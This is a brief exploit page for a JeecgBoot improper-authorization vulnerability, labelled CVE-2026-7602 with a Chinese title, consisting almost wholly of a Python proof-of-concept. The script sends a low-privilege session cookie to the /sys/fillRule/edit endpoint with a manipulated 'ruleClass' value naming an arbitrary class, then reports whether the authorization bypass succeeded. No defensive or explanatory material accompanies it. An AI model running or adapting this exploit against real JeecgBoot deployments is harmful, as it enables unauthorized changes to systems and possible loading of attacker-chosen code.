CVE-2026-7602 JeecgBoot授权不当漏洞

import requests # Target URL url = "http://target-ip:port/sys/fillRule/edit" # Headers (Low privilege user session) headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Cookie": "JSESSIONID=LOW_PRIVILEGE_SESSION_ID" } # Payload manipulating the ruleClass parameter payload = { "id": "test_id", "ruleClass": "com.example.malicious.Class" # Manipulated argument } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful, authorization bypassed.") print(response.text) else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")